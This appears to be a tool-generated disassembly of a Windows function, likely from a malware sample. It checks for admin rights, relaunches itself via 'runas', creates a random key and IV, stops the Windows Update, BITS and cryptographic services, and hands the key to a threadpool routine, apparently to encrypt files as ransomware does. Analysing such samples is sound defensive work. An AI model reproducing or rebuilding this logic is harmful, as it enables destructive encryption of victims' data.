Function at 0x140001c50
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Encode data using xor
Generate random numbers via winapi
Get token membership
Stop service
Terminate process

Disassembly:
push rbp
push rbx
push r13
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov r13, rdx
cmp ecx, 2
jge 0x140001dbe
xor ebx, ebx
mov word [rbp + 4], 0x500
lea rax, [rsp + 0x68]
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
mov r8d, 0x20
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rbp], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001ceb
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x60], ebx
jne 0x140001d7e
mov r8d, 0x104
lea rdx, [rbp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001d7e
xorps xmm0, xmm0
mov dword [rbp - 0x70], 0x70
xor eax, eax
lea rcx, str.__food
movups xmmword [rbp - 0x5c], xmm0
mov qword [rbp - 0xc], rax
mov dword [rbp - 4], eax
lea rax, str.runas
movups xmmword [rbp - 0x6c], xmm0
mov qword [rbp - 0x60], rax
lea rax, [rbp + 0x60]
movups xmmword [rbp - 0x4c], xmm0
mov qword [rbp - 0x50], rcx
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], rax
movups xmmword [rbp - 0x3c], xmm0
mov qword [rbp - 0x68], rbx
movups xmmword [rbp - 0x2c], xmm0
mov dword [rbp - 0x40], ebx
movups xmmword [rbp - 0x1c], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001d75
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, qword [r13]
lea r9, str.__food
mov dword [rsp + 0x28], ebx
lea rdx, str.open
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.1400020f0
add rsp, 0x2a0
pop r13
pop rbx
pop rbp
ret
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rbp]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1400020cb
mov rcx, qword [rbp]
lea r8, [rbp + 0x38]
mov qword [rsp + 0x2d8], r12
mov edx, 0x20
movaps xmmword [rsp + 0x280], xmm6
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp]
lea r8, [rbp + 0x28]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
movdqa xmm6, xmmword [0x140003640]
xor ebx, ebx
mov eax, ebx
movdqu xmm0, xmmword [rbp + rax + 0x38]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rbp + rax + 0x38], xmm1
add rax, 0x10
cmp rax, 0x20
jb 0x140001e31
movdqu xmm0, xmmword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
movdqa xmm1, xmm6
mov r8d, 0xf003f
xorps xmm1, xmm0
movdqu xmmword [rbp + 0x28], xmm1
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r12, rax
test rax, rax
je 0x140001f4f
mov qword [rsp + 0x2c0], rsi
lea rax, str.wuauserv
mov qword [rsp + 0x2d0], rdi
lea rsi, [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov edi, ebx
lea rax, str.bits
mov qword [rsp + 0x298], r14
mov qword [rsp + 0x78], rax
lea rax, str.cryptsvc
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x290], r15
nop word [rax + rax]
mov r15, qword [rsi]
mov r8d, 0x24
mov rdx, r15
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov r14, rax
test rax, rax
je 0x140001f1b
lea r8, [rbp + 8]
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140001f12
mov rdx, r15
lea rcx, str.s__s_st._n
call fcn.140001060
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
inc edi
add rsi, 8
cmp edi, 3
jb 0x140001ed0
mov r15, qword [rsp + 0x290]
mov rcx, r12
mov r14, qword [rsp + 0x298]
mov rdi, qword [rsp + 0x2d0]
mov rsi, qword [rsp + 0x2c0]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r12, qword [rsp + 0x2d8]
mov rax, rbx
nop word [rax + rax]
movdqu xmm0, xmmword [rbp + rax + 0x38]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rbp + rax + 0x38], xmm1
add rax, 0x10
cmp rax, 0x20
jb 0x140001f60
movdqu xmm0, xmmword [rbp + 0x28]
xor ecx, ecx
xorps xmm6, xmm0
movdqu xmmword [rbp + 0x28], xmm6
call qword [sym.imp.KERNEL32.dll_CreateThreadpool]
movaps xmm6, xmmword [rsp + 0x280]
mov qword [0x1400056d0], rax
test rax, rax
jne 0x140001fc6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.tpcf:__d_n
call fcn.140001060
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
mov qword [0x1400056c8], rax
mov rcx, rax
test rax, rax
jne 0x140002008
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.pf:__d_n
call fcn.140001060
mov rcx, qword [0x1400056d0]
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword [0x1400056d0]
xorps xmm0, xmm0
mov qword [0x140005690], rcx
lea rcx, str.__food
movdqu xmmword [0x1400056a0], xmm0
mov qword [0x140005688], rax
mov dword [0x140005680], 3
mov qword [0x1400056b0], rbx
mov dword [0x1400056b8], ebx
mov dword [0x1400056bc], 1
mov dword [0x1400056c0], 0x48
mov qword [0x140005698], rbx
mov rdx, qword [r13 + 8]
nop word [rax + rax]
movzx eax, byte [rdx + rbx]
inc rbx
cmp al, byte [rcx + rbx - 1]
jne 0x1400020c1
cmp rbx, 7
jne 0x140002070
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x38]
call fcn.140001770
mov rcx, qword [0x1400056c8]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
mov rcx, qword [0x1400056c8]
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
mov rcx, qword [0x1400056d0]
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
jmp 0x140001da1
mov eax, 1
jmp 0x140001da3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3